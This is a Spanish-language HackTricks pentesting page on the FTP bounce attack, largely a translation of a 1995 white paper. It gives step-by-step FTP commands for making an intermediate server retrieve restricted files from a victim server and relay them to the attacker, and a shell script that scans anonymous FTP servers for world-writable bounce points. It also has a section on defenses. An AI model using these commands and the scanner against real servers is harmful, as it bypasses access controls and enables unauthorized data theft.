hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

16 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Resumen

Si tienes acceso a un servidor FTP de rebote, puedes hacer que solicite archivos de otro servidor FTP donde conozcas algunas credenciales y descargar ese archivo en tu propio servidor.

Requisitos

Credenciales FTP válidas en el servidor FTP intermedio
Credenciales FTP válidas en el servidor FTP víctima
Ambos servidores aceptan el comando PORT ataque de rebote FTP
Puedes escribir dentro de algún directorio del servidor FTP intermedio
El servidor intermedio tendrá más acceso dentro del servidor FTP víctima que tú por alguna razón esto es lo que vas a explotar

Pasos

  1. Conéctate a tu propio servidor FTP y haz que la conexión sea pasiva comando pasv para que escuche en un directorio donde el servicio víctima enviará el archivo.
  2. Crea el archivo que va a enviar el servidor FTP intermedio al servidor víctima el exploit. Este archivo será un texto plano de los comandos necesarios para autenticarse contra el servidor víctima, cambiar el directorio y descargar un archivo en tu propio servidor.
  3. Conéctate al servidor FTP intermedio y sube el archivo anterior.
  4. Haz que el servidor FTP intermedio establezca una conexión con el servidor víctima y envíe el archivo de exploit.
  5. Captura el archivo en tu propio servidor FTP.
  6. Elimina el archivo de exploit del servidor FTP intermedio.

Toda la información en esta publicación se extrajo de: http://www.ouah.org/ftpbounce.html

El ataque de rebote FTP

Esto discute uno de los muchos posibles usos del "ataque de rebote del servidor FTP". El mecanismo utilizado probablemente es bien conocido, pero hasta la fecha el interés en detallarlo o solucionarlo parece bajo o inexistente. Este ejemplo en particular demuestra otra forma en que la mayoría de las "restricciones de exportación" electrónicamente impuestas son completamente inútiles y triviales de eludir. Se elige en un esfuerzo por hacer que el lector se siente y note que hay algunos aspectos realmente mal concebidos del protocolo FTP estándar.

Gracias también a Alain Knaff en imag.fr por una discusión breve pero entretenida de algunos de estos problemas hace un par de meses que me hizo pensar más profundamente sobre ellos.

El motivo

Eres un usuario en foreign.fr, dirección IP F.F.F.F, y quieres recuperar el código fuente criptográfico de crypto.com en los Estados Unidos. El servidor FTP en crypto.com está configurado para permitir tu conexión, pero denegar el acceso a las fuentes criptográficas porque tu dirección IP de origen es la de un sitio no estadounidense [según lo cerca que su servidor FTP pueda determinar a partir del DNS, eso es]. En cualquier caso, no puedes recuperar directamente lo que quieres del servidor de crypto.com.

Sin embargo, crypto.com permitirá que ufred.edu descargue fuentes criptográficas porque ufred.edu también está en los Estados Unidos. Sabes que /incoming en ufred.edu es un directorio de escritura mundial que cualquier usuario anónimo puede dejar archivos y leerlos de vuelta. La dirección IP de crypto.com es C.C.C.C.

El ataque

Esto asume que tienes un servidor FTP que hace modo pasivo. Abre una conexión FTP a la dirección IP real de tu propia máquina [no localhost] e inicia sesión. Cambia a un directorio conveniente al que tengas acceso de escritura, y luego haz:

pasv
stor foobar

Tome nota de la dirección y el puerto que se devuelven del comando PASV, F,F,F,F,X,X. Esta sesión FTP se quedará colgada, así que pásela a segundo plano o cambie a otra ventana o algo para continuar con el resto de esto.

Construya un archivo que contenga comandos del servidor FTP. Llamémoslo "instrs". Se verá así:

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...

F,F,F,F,X,X es la misma dirección y puerto que tu propia máquina te entregó en la primera conexión. La basura al final son líneas adicionales que creas, cada una conteniendo 250 NULLS y nada más, suficiente para llenar alrededor de 60K de datos adicionales. La razón de este relleno se explica más adelante.

Abre una conexión FTP a ufred.edu, inicia sesión de forma anónima y cambia al directorio /incoming. Ahora escribe lo siguiente en esta sesión FTP, lo que transferirá una copia de tu archivo "instrs" y luego le dirá al servidor FTP de ufred.edu que se conecte al servidor FTP de crypto.com usando tu archivo como comandos:

put instrs
port C,C,C,C,0,21
retr instrs

Crypto.tar.Z debería aparecer ahora como "foobar" en tu máquina a través de tu primera conexión FTP. Si la conexión a ufred.edu no se cerró por sí sola debido a un error común del servidor, limpia borrando "instrs" y saliendo. De lo contrario, tendrás que volver a conectarte para terminar.

Discusión

Existen varias variantes de esto. Tu conexión de escucha PASV se puede abrir en cualquier máquina a la que tengas acceso de escritura de archivos, ya sea la tuya, otra conexión a ufred.edu o en algún lugar completamente diferente. De hecho, ni siquiera tiene que ser un servidor FTP, cualquier utilidad que escuche en un puerto TCP conocido y lea datos en bruto de él en un archivo servirá. Una conexión de datos FTP en modo pasivo es simplemente una forma conveniente de hacer esto.

Los nulos adicionales al final del archivo de comandos son para llenar las ventanas TCP en ambos extremos de la conexión ufred -> crypto, y asegurarse de que la conexión de comando permanezca abierta el tiempo suficiente para que se ejecute toda la sesión. De lo contrario, la mayoría de los servidores FTP tienden a abortar todas las transferencias y el procesamiento de comandos cuando la conexión de control se cierra prematuramente. El tamaño de los datos es suficiente para llenar tanto las ventanas de recepción como de transmisión, que en algunos sistemas operativos son bastante grandes [del orden de 30K]. Puedes reducir esto si sabes qué sistemas operativos hay en ambos extremos y la suma de sus tamaños de ventana TCP predeterminados. Está dividido en líneas de 250 caracteres para evitar sobrecargar los búferes de comandos en el servidor objetivo, probablemente académico ya que le dijiste al servidor que saliera.

Si crypto.com no permite *ninguna* conexión de cliente FTP desde ti en foreign.fr y necesitas ver qué archivos hay donde, siempre puedes poner "list -aR" en tu archivo de comandos y obtener una lista de directorios de todo el árbol a través de ufred.

Es posible que tengas que recuperar tu archivo de comandos en el servidor FTP de destino en modo ASCII en lugar de modo binario. Algunos servidores FTP pueden manejar nuevas líneas en bruto, pero otros pueden necesitar que las líneas de comando se terminen con pares CRLF. Ten esto en cuenta al recuperar archivos para demonios que no sean servidores FTP.

Otras posibilidades

A pesar de que estas conexiones de terceros son de un solo sentido, se pueden utilizar para todo tipo de cosas. Se pueden utilizar métodos similares para enviar correo y noticias virtualmente indetectables, atacar servidores en varios sitios, llenar discos, intentar saltar cortafuegos y, en general, ser molesto y difícil de rastrear al mismo tiempo. Un poco de reflexión traerá la realización de numerosas otras posibilidades aterradoras.

Las conexiones lanzadas de esta manera provienen del puerto fuente 20, que algunos sitios permiten a través de sus cortafuegos en un esfuerzo por lidiar con el problema "ftp-data". Para algunos propósitos, esto puede ser lo siguiente mejor a los ataques con enrutamiento de origen y es probable que tenga éxito donde el enrutamiento de origen falla contra los filtros de paquetes. Y todo esto es posible gracias a la forma en que se escribió la especificación del protocolo FTP, permitiendo que las conexiones de control vengan de cualquier lugar y las conexiones de datos vayan a cualquier lugar.

Defensas

Siempre habrá sitios en la red con servidores FTP antiguos y directorios escribibles que permiten este tipo de tráfico, por lo que decir "arregla todos los servidores FTP" es la respuesta equivocada. Pero puedes proteger el tuyo contra ser un punto de rebote de terceros y que se use otro contra ti.

Lo primero obvio que puedes hacer es permitir que un servidor FTP solo haga conexiones de datos al mismo host desde el que se originó la conexión de control. Esto no evita el ataque anterior, por supuesto, ya que el oyente PASV podría estar fácilmente en ufred.edu y, por lo tanto, cumplir con ese requisito, pero evita que tu sitio sea un posible punto de rebote. También rompe el concepto de "FTP proxy", pero en algún lugar oculto en este párrafo hay un violín muy pequeño.

Lo siguiente obvio es prohibir las conexiones de control de FTP que provengan de puertos reservados, o al menos del puerto 20. Esto evita el escenario anterior tal como se indica.

Ambas cosas, además de la caca habitual sobre bloquear paquetes con enrutamiento de origen y otras vías de suplantación, son necesarias para evitar hacks de este tipo. Y piensa si realmente necesitas un directorio "entrante" abierto.

Solo permitir conexiones de datos de clientes en modo pasivo es otra posibilidad, pero todavía hay demasiados clientes FTP en uso que no son conscientes del modo pasivo.

"Un consenso suelto y código en ejecución"

Hay algunos trabajos existentes que abordan esto disponible aquí en avian.org [y ha estado disponible durante varios meses, debo agregar] en el "archivo de correcciones". Se presentan varias modificaciones a wu-ftpd-2.4, que incluyen código para prevenir y registrar intentos de usar comandos PORT falsos. También se incluyen correcciones de seguridad recientes de otros lugares, junto con soporte s/key y varias opciones de tiempo de compilación para mejorar la seguridad de aplicaciones específicas.

Stan Barber en academ.com está trabajando en la fusión de estas y varias otras correcciones en una verdadera versión actualizada de wu-ftpd. Hay un par de otros esfuerzos divergentes en marcha. En ningún lugar se afirma que todo este trabajo esté completo todavía, pero es un comienzo hacia algo que he tenido en mente durante un tiempo: una versión de wu-ftpd-2.5 para toda la red, con contribuciones de todo el mundo. El servidor wu-ftpd se ha vuelto muy popular, pero necesita otra actualización de seguridad. Sería bueno reunir todas las mejoras en un solo lugar coordinado, y parece que sucederá. Todo esto aún no ayudará a las personas que insisten en ejecutar servidores suministrados por el proveedor, por supuesto.

La comprobación de la fuente del puerto de conexión del cliente no se implementa específicamente en las correcciones del servidor FTP, sino en las modificaciones del paquete tcp-wrappers de Wietse, ya que este problema es más general. Se agrega una opción PORT simple que niega las conexiones de rangos configurables de puertos fuente en la etapa tcpd, antes de que se ejecute un demonio llamado.

Algunas de estas correcciones se señalan en /src/fixkits/README en el área FTP anónima aquí. Lee esta hoja de ruta antes de tomar otras cosas.

Notas

Agregar los nulos al final del archivo de comandos fue la clave para hacer que esto funcionara contra una variedad de demonios. Simplemente enviar los datos deseados generalmente fallaría debido al cierre inmediato que indica al demonio que abandone.

Si WUSTL no ha renunciado por completo al proyecto wu-ftpd, están guardando silencio sobre un trabajo adicional. Bryan O'Connor parece tener muchos otros proyectos a los que atender en este momento...

Este es un script trivial para encontrar directorios y archivos de propiedad de escritura mundial en un servidor FTP anónimo basado en Unix. Te sorprenderá cuántos de esos "puntos de rebote" escribibles aparecen después de una breve ejecución de algo así. Más tarde tendrás que comprobar que puedes poner y obtener archivos de esos lugares; algunos servidores protegen los archivos cargados contra la lectura. Muchos no lo hacen, y luego se preguntan por qué están entre los diez mejores sitios de warez de esta semana...

#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
  BEGIN { idir = "/" ; dirp = 0 }
  /.:$/ { idir = $0 ; dirp = 1 ; }
  /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
    if (dirp == 1) print idir
    dirp = 0
    print $0
  } '
rm xxx.$$

Supongo que se podría llamar a esto un libro blanco. Está disponible en avian.org en /random/ftp-attack y también se ha publicado en varios lugares relevantes. _H* 950712

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥